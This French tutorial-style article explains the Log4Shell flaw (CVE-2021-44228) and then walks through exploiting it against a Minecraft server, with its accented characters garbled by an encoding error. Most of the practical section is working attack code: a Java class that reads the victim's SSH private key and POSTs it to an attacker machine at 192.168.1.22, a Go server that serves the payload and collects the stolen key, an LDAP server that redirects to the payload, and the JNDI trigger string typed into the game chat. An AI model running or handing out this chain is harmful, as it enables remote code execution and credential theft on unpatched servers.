Log4j, quâest-ce que câest ?
Log4j est une des librairies de log parmi les plus utilisĂ©es par les applications codĂ©es en java. La liste des entreprises qui lâutilise est longue, on y compte notamment des gĂ©ants comme Apple, Google, Microsoft ou encore Steam.
La faille Log4Shell
Log4shell câest le nom donnĂ© Ă cette vulnĂ©rabilitĂ©. On peut aussi la retrouver sous le nom CVE-2021-44228. Ce qui rend cette faille trĂšs dangereuse est que dâune part elle est trĂšs facile Ă exploiter et dâautre part,la librairie log4j est utilisĂ©e dans un grand nombre de projets. Sur github plus de 300 000 dĂ©pĂŽts utilisent cette dĂ©pendance.
Log4j comprend une fonctionnalitĂ© de lookup. Câest Ă dire quâelle peut interprĂ©ter certaines instructions qui seraient inclues dans les donnĂ©es loggĂ©es. Par exemple si on lui demande de logger ${env:USER}
, cette chaĂźne de caractĂšres va automatiquement remplacĂ©e par la valeur de la variable dâenvironnement USER. Il est ainsi possible de faire un lookup via jndi (java naming directory interface), qui en soit nâest pas problĂ©matique, on va juste chercher une valeur ailleurs et la logger. Quand on la combine a ldap (un annuaire clĂ© valeur) il devient possible de faire exĂ©cuter du code. Pour comprendre comment cela marche, on a va passer Ă la pratique dans la partie suivante.
Exploitons cette faille
Passons maintenant aux travaux pratiques. Pour rĂ©aliser une attaque, on va utiliser deux ordinateurs. Le premier sera lâordinateur cible, qui fera tourner le serveur, le second (Ă lâadresse 192.168.1.22) sera lâordinateur attaquant qui va hĂ©berger le serveur http et jdni.
Chaque message envoyé dans le tchat du jeu (à gauche) est loggé dans la console du serveur et dans un fichier de logs (à droite)
Pour commencer, on lance le serveur minecraft avec la commande suivante :
java -Xmx1024M -Xms1024M -jar .\\\\server.jar nogui
On va ensuite avoir besoin dâun code java malicieux qui sera exĂ©cutĂ© sur la machine qui hĂ©berge le serveur minecraft. Dans cet exemple on va lire la clĂ© privĂ©e de lâutilisateur et lâenvoyer Ă un serveur distant via http.
Voici le code qui fait ça :
import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.nio.charset.StandardCharsets; import java.io.BufferedReader; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; public class MinecraftRCE { static { try { URL url = new URL("<http://192.168.1.22:8080/data>"); URLConnection con = url.openConnection(); HttpURLConnection http = (HttpURLConnection) con; http.setRequestMethod("POST"); StringBuilder sb = new StringBuilder(); try (BufferedReader br = Files.newBufferedReader(Paths.get(System.getProperty("user.home") + "/.ssh/id_rsa"))) { String line; while ((line = br.readLine()) != null) { sb.append(line).append("\\\\n"); } } catch (IOException e) { System.err.format("IOException: %s%n", e); } byte[] out = sb.toString().getBytes(StandardCharsets.UTF_8); int length = out.length; http.setFixedLengthStreamingMode(length); http.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); http.setDoOutput(true); http.connect(); try(OutputStream os = http.getOutputStream()) { os.write(out); } http.disconnect(); } catch (Exception e){ e.printStackTrace(); } } }
On compile ce bout de code avec javac
pour obtenir un fichier MinecraftRCE.class
:
javac MinecraftRCE.java
La prochaine étape est de servir ce fichier .class
sur un endpoint http. Plusieurs options pour réaliser cela, nous allons partir sur une implémentation en Go, car on peut facilement lancer un serveur http avec la librairie standard :
package main import ( "bytes" "io/ioutil" "log" "net/http" ) func dataHandler(_ http.ResponseWriter, req *http.Request) { buf, _ := ioutil.ReadAll(req.Body) rdr1 := ioutil.NopCloser(bytes.NewBuffer(buf)) log.Printf("secret data: %q", rdr1) } func main() { fs := http.FileServer(http.Dir("./java")) http.Handle("/static/", http.StripPrefix("/static/", fs)) // 1 http.HandleFunc("/data", dataHandler) // 2 println("waiting for secret data") http.ListenAndServe(":8080", nil) }
Ce bout de code en go fait tourner un serveur http qui fait deux choses simples :
- Il sert sur la route
/static
le fichierMinecraftRCE.class
qui est dans le dossierjava
- Il écoute sur la route
/data
et affiche lebody
de la requĂȘte. Câest sur ce endpoint quâon recevra la clĂ© privĂ©e envoyĂ©e par le script java malicieux.
Enfin on démarre un serveur ldap. Pour cela, on utilise le package npm ldapjs :
const ldap = require('ldapjs'); const server = ldap.createServer(); server.search('', (req, res, next) => { const obj = { dn: req.dn.toString(), attributes: { javaClassName: "MinecraftRCE", javaCodeBase: "<http://192.168.1.22:8080/static/>", objectClass: "javaNamingReference", javaFactory: "MinecraftRCE", } }; res.send(obj); res.end(); }); server.listen(1389, () => { console.log('LDAP server listening at %s', server.url); });
On lance ce serveur avec node :
node index.js
Tout est en place pour passer Ă lâaction. On se connecte au serveur minecraft comme un joueur normal et on peut dĂ©clencher lâattaque. Pour ce faire il suffit de taper dans le chat le texte suivant :
${jndi:ldap://192.168.1.22:1389}
Câest cette chaĂźne de caractĂšres qui sera envoyĂ©e Ă log4j. AussitĂŽt quâon a appuyĂ© sur entrĂ©e on reçoit bien la requĂȘte avec la clĂ© privĂ©e de la victime sur notre endpoint http /data
.
On reçoit mĂȘme la requĂȘte 3 fois, sans doute parce que la chaĂźne est loggĂ©e 3 fois dans le code de minecraft.
Nous avons donc dĂ©montrĂ© que la faille log4shell peut facilement ĂȘtre exploitĂ©e. Dans notre exemple assez simple on sâest contentĂ© de lire la clĂ© privĂ©e, mais ce nâest pas la seule exploitation possible. Câest pourquoi il est fortement recommandĂ© de garder ses logiciels Ă jour.
https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html
https://news.fr-24.com/technology/591640.html
https://securityboulevard.com/2021/12/log4shell-jndi-injection-via-attackable-log4j/